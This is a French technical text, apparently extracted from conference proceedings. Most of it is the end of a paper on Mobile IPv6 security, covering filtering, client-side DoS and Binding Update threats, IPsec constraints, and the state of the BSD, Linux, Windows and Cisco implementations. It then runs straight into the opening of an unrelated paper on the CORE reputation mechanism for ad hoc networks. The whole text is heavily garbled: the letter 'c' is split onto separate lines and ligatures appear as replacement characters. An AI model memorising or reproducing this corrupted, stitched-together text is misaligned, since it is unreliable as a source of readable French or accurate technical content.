urité (�rewall, antivirus) sur les postes 
lients

rende possible les réseaux ouverts dans lesquels le HA a

eptera du tra�
 entrant pour ses


lients. Le niveau de fon
tionnalité est 
lairement lié au niveau de sé
urité souhaité et aux

obje
tifs à atteindre.

Pour autant et indépendamment des dé
isions prises 
on
ernant le �ltrage, la 
omplexité des

proto
oles ren
ontrés (Mobile IPv6, IKE

17

, IPse
) pose deux problèmes majeurs :

� Le manque de maturité des implémentations : même si les démons IKE ne subissent pas des

évolutions extrêmement importantes

18

, que les piles IPse
 ne sont également quasiment pas

modi�ées, le volume de 
ode apporté par Mobile IPv6, la 
omplexité des é
hanges assurent

la dé
ouverte à venir de failles 
ritiques. Pour 
ontrebalan
er 
e point, il faut repla
er le

déploiement éventuel d'IPv6 en général et de solutions basées sur MIPv6 dans le temps.

Lorsque 
e
i arrivera, les piles auront quelques années de maturité derrière elles.

� Les erreurs de 
on�guration asso
iées aux relations entre MIPv6, IPse
 et IKE. Comme

pour le point pré
édent, l'amélioration du support et l'expérien
e gagnée sur l'utilisation

du proto
ole seront des points de passage obligés.

� Dans le réseau d'a

ueil : dans le réseau d'a

ueil, les possibilités d'impa
ts sont réduites,

au
un déploiement spé
i�que d'éléments d'infrastru
ture ne venant potentiellement modi�er

la sé
urité du réseau.

Les seuls impa
ts potentiels sur le réseau sont liés à l'éventuelle mise en pla
e de règles de

�ltrage pour autoriser IPse
, les Destination Options Header - Home Adress Option en entrée

et les Routing Header Type 2 en sortie.

Pour les Routing Header Type 2, le 
hoix d'un type spé
i�que, la limitation à une adresse

en
apsulée et la portée réduite aux MN permettent un �ltrage e�
a
e et une utilisation sans


rainte sur le réseau d'a

ueil.

De la même manière, la prise en 
ompte du 
ontenu de l'option HAO est intrinsèquement liée

à l'implémentation et à l'a
tivation du mode HA ou CN sur les entités du réseau d'a

ueil.

Les deux bits de poids fort du type de l'option prenant la valeur 1, le 
omportement adopté

par un h�te ne 
omprenant pas l'option 
onsiste à rejeter le paquet, 
omme spé
i�é dans

[RFC2460℄. De plus, les gardes-fous pla
és sur son utilisation par le destinataire amènent aux

mêmes 
on
lusions que pré
édemment.

L'autorisation d'utiliser IPse
 en sortie d'un réseau reste le point le plus 
ontroversé. En

pratique, il semble évident, que les réseaux d'a

ueils desquels les invités auront a

ès seront

séparés du 
oeur de l'entreprise. Dans les faits, l'ex�ltration de données étant possible dès

qu'une 
ommuni
ation vers l'extérieur est réalisable, à travers proxy HTTP/HTTPS, sur

DNS, les arguments asso
iés à la 
apa
ité à surveiller les �ux sortants ne tiennent déjà plus.

Contrairement à TLS qui semble admis, peut-être du fait de son utilisation � grand publi
 �

une barrière doit en
ore être fran
hie pour le déploiement d'IPse
.

Du point de vue de la sé
urité, de nouveaux deploiements de réseaux d'a

ueil séparés et

ouverts sont envisageables. Ceux-
i permettent de laisser une liberté importante aux invités

tout en assurant qu'au
une attaque ne puisse être montée depuis 
eux-
i en utilisant le pré�xe

fourni par le site d'a

ueil. Dans 
ette optique, Mobile IPv6 peut servir de 
ompromis au sein

17

Si le keying statique doit être supporté dans MIPv6, le Keying dynamique n'est qu'optionnel.

18

Elles 
on
ernent majoritairement la prise en 
ompte de l'extensions PF_KEY MIGRATE
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d'un réseau d'a

ueil pour permettre l'imputation des a
tions e�e
tuées au pré�xe du réseau

mère du MN.

� Dans le réseau du 
orrespondant : Dans le réseau du 
orrespondant, les problématiques

sont similaires à 
elles ren
ontrées dans le réseau d'a

ueil des noeuds mobiles. Elles sont

même identiques dans le 
as où le CN est également MN.

Un élément est tout de même a

entué lorsqu'on 
onsidère le 
as du CN. Etant 
onta
té par le

MN, il doit être a

essible depuis l'extérieur. Comme évoqué pré
édemment, la problématique

de �ltrage intermédiaire apparait peut-être moins sur les réseaux domestiques ave
 la mise en

pla
e d'éléments de prote
tion dire
tement sur les postes 
lient.

Dans un 
ontexte plus restri
tif, les 
orrespondants des MN peuvent se voir limités au péri-

mètre d'un domaine de 
on�an
e (autres noeuds de l'entreprise). En
ore une fois, les 
hoix

e�e
tués dépendent de manière dire
te des besoins de sé
urité évalués.

4.2 Vulnérabilités 
�té 
lient

L'utilisation de Mobile IPv6 sur un poste nomade peut poser de sérieux problèmes de 
on�den-

tialité et d'anonymat. En e�et, le noeud mobile étant toujours joignable à la même addresse, un

attaquant peut ainsi har
eler le MN sans se sou
ier de ses dépla
ements. En fon
tion de la te
hno-

logie d'a

ès du MN, un DoS peut don
 avoir, à moindre 
oût pour l'attaquant, un e�et dévastateur

pour le noeud mobile.

Si l'on 
onsidère que le MN utilise un lien à faible débit, 
omme GPRS, l'attaquant pourra

fa
ilement empê
her le MN de 
ommuniquer en saturant son lien des
endant. De la même façon, en


onsidérant une te
hnologie d'a

ès dans laquelle la fa
turation est basée sur le volume des données,

l'attaquant peut nuire �nan
ièrement au MN. Dans 
e type de 
on�guration, la ré
eption de tra�


non soli
ité peut également représenter une mena
e envers le MN.

A�n de se prémunir de 
e type d'attaques, il est envisageable de s'appuyer sur le réseau mère

ainsi que sur le HA. Celui-
i possède vraisemblablement un lien plus rapide que le MN. Il sera don


plus à même de stopper le DoS et de prendre les messures adéquates pour en limiter les e�ets. Il

est de plus possible d'e�e
tuer du �ltrage au niveau du HA a�n de n'autoriser à destination du MN

que les paquets en relation ave
 des 
onnexions initiées par le MN.

Lorsqu'un noeud mobile désire e�e
tuer une optimisation de route ave
 un CN présent dans un

Hotspot non protégé, un attaquant peut 
ompromettre les 
ommuni
ations entre le CN et le MN.

Il peut par exemple inter
epter les messages é
hangés dans la pro
édure de Return Routability,

et inje
ter de faux Binding Update. Bien que potentiellement dangereuse, 
ette attaque n'est pas

engendrée par l'utilisation de Mobile IPv6 et reste similaire en terme d'impa
ts aux attaques que

peut e�e
tuer un attaquant présent sur le même lien que sa vi
time.

5 Retour sur les apports et 
ontraintes d'IPse


Dans de nombreux proto
oles, l'argument de sé
urité brandi est souvent l'utilisation proposée

d'IPse
. Cet argument souvent falla
ieux ne prend pas en 
ompte la réalité des faits 
on
ernant

IPse
, ses possibilités et les 
ontraintes ren
ontrées.
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Pour 
e qui 
on
erne Mobile IPv6, la né
essaire prote
tion du tra�
 de signalisation entre le

MN et le HA via IPse
 n'est pas juste une proposition faite à la légère. Elle provient d'une véritable

ré�exion et de la disponibilité d'un environnement de mise en ÷uvre adapté. Outre l'intégration

d'IPse
 dans le standard, le sujet est également détaillé dans deux do
uments annexes ([RFC3776℄,

[MIGRATE℄).

Sous IPv6, de nombreux points favorisent la mise en ÷uvre d'IPse
. Les deux prin
ipaux sont


ertainement l'adressage global et la né
essaire implémentation du proto
ole au niveau des piles

réseaux IPv6.

Le premier permet la mise en pla
e de 
onnexions sé
urisées de bout en bout, sans subir la NAT

([RFC3947℄, [RFC3715℄

19

, [RFC2709℄).

Dans les 
as ren
ontrés dans MIPv6 :

� l'utilisation du mode tunnel (pour la sé
urisation du tronçon entre le MN et son HA lorsque


elui-
i dialogue ave
 des CN) est des plus 
lassiques. Les adresses des extrémités du tunnel

sont la CoA au niveau du MN et l'adresse du HA.

Il est à noter que le MN n'est pas vu 
omme un véritable roadwarrior bien que son adresse

soit a priori in
onnue du HA. Dans les faits, même si la SA du Home Agent vers le MN utilise

la CoA 
ourante 
omme destination, elle peut être initialisée à la valeur de la Home Address

du noeud. Ensuite, 
ette adresse est mise à jour dans la SAD lorsque le noeud mobile se

dépla
e (lors de la phase de � Binding �). La problématique de modi�
ation de la CoA lors

d'un dépla
ement du noeud est traitée par la suite.

� l'utilisation du mode transport pour la sé
urisation des Binding Update pourrait sembler pro-

blématique a priori, les paquets émis par le MN possédant une adresse sour
e volatile mais


ompatible ave
 le réseau d'a

ueil (CoA). Dans les faits, le paquet est émis ave
 un header

� Destination Options Header - Home Address Option � : une étape intermédiaire à la ré
ep-

tion du paquet permet de repla
er 
ette adresse dans le 
hamp Destination Address du header

IPv6. Au �nal, 
elle-
i est utilisée pour référen
er la Se
urity Poli
y asso
iée. La prote
tion

appliquée au paquet est don
 toujours réalisée ave
 la Home Address du noeud 
omme IP

sour
e, indépendamment des dépla
ements et ainsi des CoA ren
ontrées.

� l'utilisation du mode transport pour la sé
urisation des Binding A
k (ou Binding Error) émis

par le HA en réponse aux Binding Update reçus suit le même genre d'étape de routage

intermédiaire. Cette fois-
i, l'adresse destination présente dans le paquet durant le routage

est la CoA du MN, mais elle est é
hangée ave
 la Home Address de 
elui-
i présente dans un

Routing Header Type 2.

Dans 
e 
as, 
omme dans 
elui vu pré
édemment, bien que la phase de routage se réalise tem-

porairement entre la CoA et l'adresse du HA, les destinataires �naux (don
 
eux 
on
ernés

par la Se
urity Poli
y) sont bien la Home Address et l'adresse du Home Agent.

L'un des prin
ipaux problèmes que subit Mobile IPv6 et plus pré
isément IPse
 dans la sé
uri-

sation du proto
ole tient en fait à une parti
ularité de l'adressage IP. En e�et, une adresse IP est

utilisée à la fois 
omme identi�ant de routage et 
omme identi�ant de noeud

20

.

19


omme évoqué dans le do
ument, � The result is that IPse
-NAT in
ompatibilities have be
ome a major

barrier in the deployment of IPse
 in one of its prin
ipal uses �

20

il s'agit d'un des problèmes traités dans les groupes de travail sur le multihoming, notamment [monami6℄
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Pour 
ette raison, lorsque le noeud mobile 
hange de réseau d'a

ueil, son identi�ant de routage

(sa CoA) 
hange. Il devient né
essaire pour lui de mettre à jour les informations 
onnues de ses


orrespondants ; HA et éventuellement, CN.

Ce problème tou
he en fait les SA IPse
 négo
iées entre le MN et son HA et, dans le 
as

d'utilisation d'IKE la relation entre le démon IKE et la 
ou
he gérant Mobile IPv6. Seules les SA

en mode tunnel sont impa
tées

21

. Elles font en e�et intervenir la CoA du MN. Les SA en mode

transport utilisant la Home Address du noeud pour le référen
ement et 
omme adresse des paquets

ne sont pas impa
tées. Elles pro�tent des Routing Header Type 2 et de l'option HAO du Destination

Options Header.

Une vision d'assez haut niveau de l'utilisation d'IPse
 pour protéger Mobile IPv6 est fournie

dans [RFC3775℄. Les détails 
on
ernant la sé
urisation via IPse
 du lien entre le MN et son HA sont

traités spé
i�quement dans [RFC3776℄. [MIGRATE℄ dé
rit une extension de l'interfa
e PF_KEYv2

permettant la modi�
ation d'adresse au sein d'une SA en mode tunnel et permettant la survie de


elle-
i aux dépla
ements. Pour des raisons de 
on
ision, le le
teur 
urieux est renvoyé vers 
es

do
uments pour les détails te
hniques.

Il est à noter qu'a
tuellement, les problématiques de prote
tion via IPse
 des relations entre le

MN et le CN ne sont pas normalisées.

6 Implémentations

Mobile IPv6 étant standardisé ([RFC3775℄, [RFC3776℄) depuis Juin 2004, plusieurs implémen-

tations sont maintenant disponibles. Leur niveau de support varie prin
ipalement 
on
ernant l'in-

tégration des mé
anismes de sé
urité permettant la prote
tion du tra�
 de signalisation.

Un autre point de 
omparaison 
on
erne les 
apa
ités de �ltrage des di�érents systèmes vis-à-vis

du tra�
 IPv6 en général et 
elui lié à Mobile IPv6 en parti
ulier

22

.

Cette se
tion détaille 
es points pour 
ha
un des systèmes majeurs et des implémentations

asso
iées.

6.1 *BSD : SHISA

SHISA

23

est l'implémentation de Mobile IPv6 pour les plateformes *BSD. Il tire son nom d'une

statue de lion ornant les toits de l'île d'Okinawa au sud de l'ar
hipel nippon a�n de protéger les

habitations. Son développement a été e�e
tué dans le 
adre du projet WIDE

24

qui fut déjà à l'in-

tiative de KAME

25

, l'implémentation d'IPv6 faisant référen
e.

SHISA implémente Mobile IPv6 [RFC3775,RFC3776℄ ainsi que NEMO Basi
 Support [RFC3963℄.

Il permet don
 de déployer des MN, des HA, des CN ainsi que des Mobile Router, MR. Bien que

disponible pour les trois prin
ipaux BSD, OpenBSD, NetBSD, et FreeBSD, il est re
ommandé de le

deployer en utilisant FreeBSD 5. Ce projet est désormais partie intégrante de KAME et peut être

ré
upéré ave
 ses snapshots hebdomadaires.

21

Celles protégeant le tra�
 entre le MN et le CN via le HA, sur le tronçon entre le MN et le HA

22

Il n'est pas abordé i
i.

23

http://www.mobileip.jp

24

http://www.wide.ad.jp

25

http://www.kame.net
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En 
e qui 
on
erne IPse
, il est possible de protéger le tra�
 de signalisation et de données entre

le MN et le HA à l'aide du stati
 keying. Le dynami
 keying est en 
ours d'implémentation mais ne

sera plainement fon
tionnel qu'ave
 le support de IKEv2 [RFC4306,MIP6IKEv2℄ dans ra
oon2.

6.2 Linux : MIPL

Sous Linux, le support de Mobile IPv6 est disponible sous forme d'un pat
h noyau

26

et d'une

partie userland

27

. Le projet porte le nom MIPL : Mobile IPv6 for Linux. Les fon
tionnalités de

MN, CN et HA sont supportées.

Pour 
e qui est du r�le de routeur IPv6 du HA, et notamment l'émission des Routing Adver-

tisement, le logi
iel radvd intègre maintenant dans sa version 
ourante l'ensemble des extensions

asso
iées à MIPv6

28

.

MIPL évoluant maintenant depuis quelques années (la version 
ourante est la version 2.0), le

support d'IPse
 est a
tuellement disponible, au moins basiquement. Il permet la dé�nition des �ux

à protéger sans avoir à spé
i�er l'ensemble des Se
urity Poli
ies à mettre en pla
e, 
omme présenté

�gure 12.

...

IPse
Poli
ySet {

HomeAgentAddress ;

HomeAddress /64;

IPse
Poli
y HomeRegBinding UseESP;

IPse
Poli
y TunnelMh UseESP;

}

...

Fig.12. Un exemple de dé�nition de la prote
tion via IPse
 de 
ertains é
hanges sous MIPL.

Au niveau du noyau, en 
e qui 
on
erne IPse
, MIPL

29

ajoute notamment le support de l'API

PF_KEY MIGRATE permettant la modi�
ation de la CoA utilisée dans les SA suite à l'émission

et la ré
eption d'un Binding Update.

Pour le keying dynamique, ra
oon o�re un mode permettant le support de MIPv6 (option

support_proxy). Ce
i permet 
omme pré
isé dans [RFC3776℄, d'utiliser la CoA pour les é
hanges

IKE tout en négo
iant les SA en utilisant la Home Address.

Dans les faits, le fon
tionnement est en
ore balbutiant et les relations entre les trois 
omposants

� le démon IKE, MIPL et la SADB� sont en
ore in
ertaines. Même si les 
as simples fon
tionnent,

la gestion 
omplète du keying dynamique ave
 
erti�
ats et la stabilité de l'implémentation restent

en
ore à assurer.

26

A
tuellement pour 2.6.15

27

Les deux étant télé
hargeables sur http://www.mobile-ipv6.org

28

permettant notamment d'utiliser des valeurs inférieures à 
ertains timers utilisés par Neighbor Dis
overy

29

plus généralement, il apporte la prise en 
harge des extensions des mobilité (Routing Header Type 2 et

option HOA dans les Destination Option Header)
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6.3 Windows

En 2002, Mi
rosoft mettait à disposition une version de test d'une implémentation Mobile IPv6

(suivant le draft 12 de [RFC3775℄), faisant suite à un travail 
ommun ave
 l'université de Lan
aster.

Depuis le servi
e pa
k 1, Windows XP intègre une implémentation o�rant un support limité de

MIPv6

30

. C'est également le 
as de Windows Server 2003.

Le site de Mi
rosoft annon
e l'existen
e d'une version d'évaluation (Te
hnology Preview) o�rant

l'ensemble des fon
tionnalités de CN, MN et HA pour di�érentes versions de Windows. Sans raison

évoquée, 
elle-
i est indisponible.

En 
e qui 
on
erne Windows Vista, le support de Mobile IPv6 n'est pas prévu à la sortie de 
et

OS mais sera disponible par la suite sous forme d'extension.

En pratique, la version disponible sous Windows XP n'est pas utilisable : elle n'implémente que

la fon
tionnalité de CN et suit une an
ienne version du draft.

Pour 
e qui est des CTP, Community Te
hnology Preview, l'ensemble du 
ode relatif à Mobile

IPv6 a été désa
tivé (plus d'a

ès possible aux options de 
on�guration par netsh).

Si les équipes de Mi
rosoft travaillent a
tuellement sur IPv6 dans le 
adre de la � Next Gene-

ration TCP/IP Sta
k �, elles fo
alisent prin
ipalement leurs e�orts sur d'autres te
hnologies que

Mobile IPv6 
omme Teredo, le �rewall IPv4/IPv6, le support 
omplet d'IPse
, ou bien en
ore

DHCPv6.

6.4 Cis
o IOS

Les versions 
ourantes d'IOS o�rent un support d'IPv6, de nombreuses fon
tionnalités ayant été

progressivement ajoutées au �l des ans. Les extensions né
essaires à l'utilisation de Mobile IPv6

sont maintenant disponibles

31

.

En pratique, les fon
tionnalités de CN et MN ne sont pas disponibles sur IOS. Le système étant

développé pour des routeurs, la non-disponibilité de 
es fon
tionnalités se justi�e fa
ilement.

Con
ernant la sé
urisation, un des manques majeur qui limite l'intéret d'un Routeur Cis
o en

tant que Home Agent 
on
erne la prote
tion via IPse
 du tra�
 entre le Home Agent et ses MN.

Les mé
anismes de sé
urité dé
rits dans [RFC3776℄ ne sont pour le moment pas implémentés.

Au
une date n'est avan
ée sur la disponibilité de 
ette fon
tionnalité indispensable à des dé-

ploiement sérieux.

Néanmoins, il semble que des développements soit en 
ours, poussés par des opérateurs de télé-

phonie mobile (notamment asiatiques), de manière à déployer dans des infrastru
tures spé
i�ques

(
ontexte 3GPP2) des solutions de sé
urité plus adaptées, 
omme 
elle dé�nie par [RFC4285℄.

Finalement, les développement relatifs à Mobile IPv6 dans IOS évoluant ave
 les demandes du

mar
hé, le support a
tuel présente beau
oup moins d'intérêt que 
elui fournit par les équivalents

disponibles dans le monde libre

32

.

30

uniquement la fon
tionnalité de Correspondent Node telle que dé
rite dans le draft 13 de [RFC3775℄

31

disponibilité de la fon
tionnalité Home Agent dans les 12.3(14)T, 12.4, 12.4(2)T et améliorations des

ACL IPv6 depuis la 12.4(2)T

32

as in beer
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7 Con
lusion

7.1 Sé
urité

L'utilisation d'une adresse IPv6 en dehors de son site d'origine pose des 
ontraintes 
omplexes,

aussi bien au niveau fon
tionnel que 
on
ernant la sé
urité. Après une longue période de gestation,

Mobile IPv6 est depuis juin 2004 un proto
ole normalisé par l'IETF.

L'intégration de nombreux mé
anismes de prote
tion originaux a permis de prendre en 
ompte

les problématiques de sé
urité sans pour autant restreindre les possibilités d'utilisation. La prote
-

tion des 
ommuni
ations entre le noeud mobile et son réseau mère s'appuyant sur IPse
, elle pro�te

des fa
ilités o�ertes au proto
ole de sé
urisation dans le 
adre d'IPv6 (
onnexion de bout en bout,

disparition de la NAT).

En pratique, IPv6 est a
tuellement en phase de déploiement, même si au
une date 
on
ernant

sa mise en ÷uvre massive ne peut être avan
ée. Son intégration et a
tivation par défaut dans les

pro
haines version du système d'exploitation de Mi
rosoft, 
omme 
'est déjà le 
as sur Ma
 OS,

Linux et 
ertains BSD, permettra 
ertainement de pousser son déploiement.

Con
ernant Mobile IPv6, sa standardisation relativement ré
ente et le déploiement d'IPv6 re-

tardé par les mé
anismes de NAT induit des implémentations 
ommer
iales pour le moment assez

limitées :

� Cis
o n'in
lut pour le moment pas la sé
urisation via IPse
 du lien MN-HA et travaille sur

des mé
anismes spé
i�ques à des infrastru
tures d'opérateurs mobiles ;

� Mi
rosoft intègre une implémentation basée sur un draft dépassé dans Windows XP mais

annon
e MIPv6 sous forme d'extension après la sortie de Vista ;

� Apple ne prévoit pas l'intégration du proto
ole pour Léopard, mais le système étant basé sur

FreeBSD, son portage par la suite béné�
iera 
ertainement des avan
ées sur 
e système.

Dans le monde libre, les BSD et Linux intègrent, pour le moment de manière externe, le 
ode

pour faire fon
tionner le proto
ole. Même si la gestion de la prote
tion via IPse
 n'est pas en
ore


omplète, se limitant globalement à une gestion de 
lé statique, elle avan
e assez rapidement.

La volonté d'un déploiement à grande é
helle du proto
ole et les obje
tifs importants 
on
ernant

la prote
tion des réseaux (Internet et des parti
ipants) et des 
lients ont amené à la mise en pla
e

de mé
anismes de sé
urité adaptés aux 
ontraintes et utilisables (Return Routability Pro
edure).

L'utilisation d'IPse
/IKE a été étudiée de manière poussée, pour les relations entre le MN et

le HA dans son réseau mère. Les extensions né
essaires à la gestion 
omplète de la migration des

extrémités de SA en mode tunnel sont en 
ours de normalisation [MIGRATE℄ et de tests.

Si les solutions proposées semblent robustes, un retour d'expérien
e reste en
ore à gagner sur le

sujet :

� La stabilisation des relations entre les éléments présents dans les piles est en 
ours � au moins

dans le monde libre � en attendant un déploiement éventuel à plus grande é
helle après 
elui,

progressif, d'IPv6.

� Certaines problématiques liées à la séle
tion d'adresse sour
e � CoA ou Home Address � ne

sont pour le moment pas résolues.

� De manière générale, le problème épineux de la séparation des r�les de � Lo
ator �/� Identi-

�er � pour l'adresse IP auquel MIPv6 apporte une solution est en
ore un sujet de re
her
he.

Les questions de sé
urité également.
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� Con
ernant la mise en ÷uvre dans le 
adre d'infrastru
tures spé
i�ques, 
omme 
elles des

réseaux d'opérateurs mobiles, sur des équipements aux 
apa
ités plus limitées (puissan
e,

batterie), d'autres solutions sont également en train de voir le jour.

Le point positif sur 
e sujet est que le proto
ole béné�
ie pour a
quérir sa maturité du temps

né
essaire à la mise en pla
e progressive d'IPv6. Eventuellement, il fera partie des Killer Apps qui

pousseront le déploiement d'IPv6.

7.2 Limitations

Dans le do
ument, la sé
urité de Mobile IPv6 a été dé
rite et analysée. Pour des raisons de 
on
i-

sion, 
ertains points 
on
ernant des mé
anismes annexes ont été laissés de 
�té 
omme la prote
tion

des messages Mobile Pre�x Soli
itation ou Mobile Pre�x Advertisement. D'autres, requiérant trop

de détails, 
omme la pro
édure de Return Routability ou 
ertains éléments sur IPse
/IKE ont

été dé
rits de manière su

in
tes. Comme toujours, le diable étant dans les détails, les référen
es

bibliographiques permettront au le
teur 
urieux de répondre aux questions ouvertes.

Certains auraient 
ertainement attendu de 
e papier une partie 
omparative entre MIPv6 et

MIPv4 [RFC3344℄. La version IPv4 du proto
ole étant fondamentalement di�érente dans son fon
-

tionnement, notamment du fait des problématiques dues à la NAT, elle n'a jamais été déployée à

grande é
helle. Egalement pour des raisons de 
on
ision, mais aussi de 
larté, il a volontairement

été dé
idé de ne pas l'évoquer pour se fo
aliser sur la version IPv6.

Le sujet de la mobilité a été restreint dans le do
ument à Mobile IPv6, proto
ole adapté aux


lients mobiles. D'autres proto
oles 
omme NEMO [RFC3963℄ sont a
tuellement développés en

parallèle, basées sur MIPv6, et permettant la mobilité de réseaux 
omplets. Même si 
ertaines


ontraintes de sé
urité et don
 
ertaines solutions apportées sont 
ommunes à 
elles étudiées i
i,

d'autres parties divergent sensiblement, imposant 
ertains 
hangements et restri
tions. De la même

manière, FMIPv6 [RFC4068℄ et HMIPv6 [RFC4140℄ n'ont pas non plus été abordés i
i.

7.3 Intégration de Mobile IPv6 dans les VPN

Le le
teur attentif aura 
ertainement remarqué que la sé
urisation des 
ommuni
ations entres

le MN et ses 
orrespondants a pour but de fournir un niveau équivalent à 
elui que le noeud mobile

pourrait avoir dans son réseau mère et que le 
orrespondant peut avoir vis-à-vis d'un 
lient �xe.

Peut-on faire mieux ?

En pratique, la possibilité, dans le 
adre du mode optimisé de dialoguer de manière dire
te

ave
 un 
orrespondant en utilisant sa Home Address, sans pénalité de routage, o�re de nouvelles

perspe
tives. La mise en pla
e de sessions sé
urisées entre les noeuds mobiles d'un même réseau

de 
on�an
e (domaine d'adressage, PKI), sans passage pénalisant par le réseau mère est une pos-

sibilité attra
tive. Elle permettrait la mise en ÷uvre de véritables VPN transparents, au dessus du

réseau de routage IPv6, s'a�ran
hissant d'une ar
hite
ture en étoile pénalisante 
omme 
'est le 
as

aujourd'hui.
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Résumé Les systèmes de 
ommuni
ation basés sur le paradigme ad ho
 ont reçu beau
oup

d'attention dans le passé et les e�orts des 
her
heurs ont été dévoués surtout à produire

des proto
oles dé
entralisés pour garantir le routage des paquets en tenant 
ompte de la

mobilité des n÷uds du réseau. Dans 
et arti
le on questionne l'hypothèse de base assumé

pendent la 
on
eption de 
es proto
oles selon laquelle les entités impliquées dans l'exé
ution

de 
es algorithmes suivent pré
isément les règles di
tées par les 
on
epteurs du système. Pour

faire fa
e aux déviations des n�uds du réseau du 
omportement préétabli a�n d'en traire des

béné�
es on analyse les 
ara
téristiques d'un mé
anisme de 
oopération basé sur la réputation

présenté ré
emment dans la littérature et nommé CORE. Une appro
he basée sur la théorie

des jeux répétés est utilisée pour déduire les 
ara
téristiques d'une stratégie dérivée de CORE

dans le 
adre réaliste d'une observabilité imparfaite. Dans 
et arti
le on montre 
omme notre

stratégie 
atalyse la naissan
e de la 
oopération entre les n÷uds du réseau en présen
e des

erreurs qui a�e
tent l'évaluation de la réputation asso
ié aux n÷uds dûes aux interféren
es

et 
ollisions qui 
ara
térisent la te
hnologie radio 802.11.

1 Introdu
tion

Un réseau ad ho
 mobile (MANET) est un réseau maillé temporaire 
onstitué par une 
olle
tion

de noeuds sans �l et mobiles sans l'aide d'une infrastru
ture préétablie utilisée pour exé
uter les

fon
tions de base de gestion de réseau 
omme le 
heminement et l'expédition de paquets. Dans un

tel environnement, il peut être né
essaire qu'un noeud mobile demande l'aide d'autres noeuds pour

expédier un paquet à sa destination, à 
ause de la 
ouverture limitée du 
hamp radio disponible à


haque noeud.

En origine, des appli
ations exploitant les réseaux ad ho
 ont été envisagées prin
ipalement pour

des situations de 
rise (par exemple, dans les 
hamps de bataille ou pour des opèrations de se
ours).

Dans 
es appli
ations, tous les noeuds du réseau appartiennent à une même autorité (par exemple,

une unité militaire ou une équipe de se
ours) et ont un but 
ommun. Cependant, les te
hnologies

sans �l se sont sensiblement améliorées 
es dernières années et des dispositifs peu 
oûteux basés sur

la norme 802.11 ont envahi le mar
hé et le déploiement des réseaux ad ho
 pour des appli
ations


ommer
iales est devenu réaliste. Des exemples in
luent le déploiement des réseaux ad ho
 pour

l'automobile ou pour la fourniture d'équipements de 
ommuni
ation pour les régions éloignées ou

les périmètres physiquement délimités (par exemple, 
entres 
ommer
iaux, aéroports, et
.....). Dans


es réseaux, les noeuds n'appartiennent pas à la même d'organisation ni à une même autorité et ils

ne poursuivent pas un but 
ommun. En outre, les réseaux 
ommer
iaux pourraient être plus grands
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et avoir une plus longue vie ; de plus ils peuvent être 
omplètement autonomes, signi�ant que le

réseau fon
tionnerait seulement grâ
e à l'opération des utilisateurs.

Selon le type d'appli
ation, il est possible de dé�nir deux 
atégories prin
ipales de réseaux ad

ho
 : les réseaux 
ontr�lés et les réseaux ouverts. Nous nous référons aux réseaux ad ho
 
ontr�lés

quand la phase d'initialisation du réseau peut être appuyée par une infrastru
ture provisoire et

quand une 
on�an
e à priori entre les noeuds du réseau est disponible. Des relations de 
on�an
e à

priori peuvent être établies, par exemple, par une autorité 
ontr�lant les noeuds du réseau ou par

une organisation 
ommune entre les utilisateurs. D'autre part, dans un réseau ad ho
 ouvert, les

noeuds sont entièrement autonomes et dans la majorité des 
as ne peuvent pas 
ompter sur une

infrastru
ture préétablie pour l'initialisation et l'opération de réseau. De plus, puisque les noeuds

sont a
tionnés par les utilisateurs qui n'appartiennent pas né
essairement à la même organisation

ni ne partagent une même autorité, une relation de 
on�an
e à priori entre les noeuds n'est pas

disponible. La 
on�an
e entre les noeuds doit être établie par des mé
anismes spé
i�ques 
onçus

en fon
tion du s
énario o�ert par un environnement ouvert.

Dans la littérature, une attention parti
ulière a été 
onsa
rée à la 
on
eption des proto
oles

d'a
heminement optimaux qui réduisent au minimum la 
onsommation d'énergie ou qui sont bien

adaptés à une topologie dynamique. Dans 
et arti
le il est su�sant de mentionner les propositions

fondamentales qui ont 
ontribué au développement su

essif des mé
anismes d'a
heminement plus

avan
es, 
omme par exemple le proto
ole DSR [5℄, et AODV [14℄.

Le dénominateur 
ommun entre les propositions existantes d'a
heminement ad ho
 est qu'au-


une d'elles n'a pris en 
ompte la possibilité (réelle) d'une déviation du 
omportement des noeuds

par rapport à l'exé
ution dé�nie par le proto
ole. Néanmoins, il n'est pas di�
ile aujourd'hui de


onstater une hausse de 
omportement illégitime des 
omposants d'un proto
ole distribué : par

exemple, les proto
oles pair-à-pair sont fa
ilement modi�ables a�n d'exploiter le système sans pour

autant y 
ontribuer a
tivement.

Dans le 
as spé
i�que o�ert par les réseaux MANET ouverts, il est très simple de manipuler un

proto
ole d'a
heminement a�n d'é
onomiser l'énergie dépensée par un noeud d'une façon � égoïste �.

Le besoin de 
oopération entre les n÷uds pour assurer le fon
tionnement du réseau est en 
on�it

ave
 l'intérêt individuel de 
haque n÷ud visant à ne dépenser de l'énergie (une ressour
e pré
ieuse,


ar dans la majorité des 
as les dispositifs mobiles sont alimentés par batterie ayant une durée de

vie limitée) que pour les �ux de tra�
 qui leur sont destinés ou pour les quels ils sont originés.

Dans 
et arti
le on étudie un mé
anisme proposé dans la littérature pour faire fa
e au 
ompor-

tement égoïste des noeuds d'un réseau ad ho
. Ce mé
anisme, nommé CORE [11℄, se base sur la

notion de réputation. Après avoir résumé le fon
tionnement de base de CORE on va se 
on
entrer

sur son analyse en utilisant les outils fournis par la théorie des jeux. Notre analyse se base sur un

modèle très simple pour représenter le 
on�it d'intérêt auquel 
haque noeud fait fa
e lors d'une prise

de dé
ision (notamment 
oopérer pour a
heminer un paquet ou ne pas 
oopérer). Ce modèle simple

est étendu pour tenir 
ompte des 
ontraintes physiques imposées par le mode de fon
tionnement

sans �ls. A�n d'évaluer les performan
es de CORE, une stratégie dérivée de l'implémentation réelle

du proto
ole est présentée. Cette stratégie va être mise en 
ompétition ave
 d'autres stratégies

disponibles dans la littérature dans le 
adre d'une ultérieure extension au modèle de base. Dans 
e

dernier 
as, la théorie des jeux évolutifs est appliquée au modèle d'un réseau ad ho
 statique.
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2 Le mé
anisme CORE

L'étude basée sur une simulation e�e
tuée dans notre laboratoire [10℄ a prouvé que les per-

forman
es d'un réseau MANET se dégradent sévèrement en présen
e d'un simple 
omportement

illégitime des noeuds. Indépendamment des 
as spé
iaux 
omme pour les réseaux militaires pour

lesquels une 
on�an
e à priori existe entre tous les noeuds, les noeuds d'un réseau ad ho
 ne peuvent

pas être 
onsidérés �ables pour l'exé
ution 
orre
te des fon
tions 
ritiques du réseau. Des opérations

essentielles peuvent être fortement 
ompromises par les noeuds qui n'exé
utent pas 
orre
tement

leur part des opérations 
omme le routage, l'expédition de paquets, et
... Un mauvais 
omporte-

ment des noeuds qui a�e
te 
es opérations peut s'étendre de l'égoïsme ou du manque simple de


ollaboration dûe au besoin d'é
onomie de batterie aux attaques a
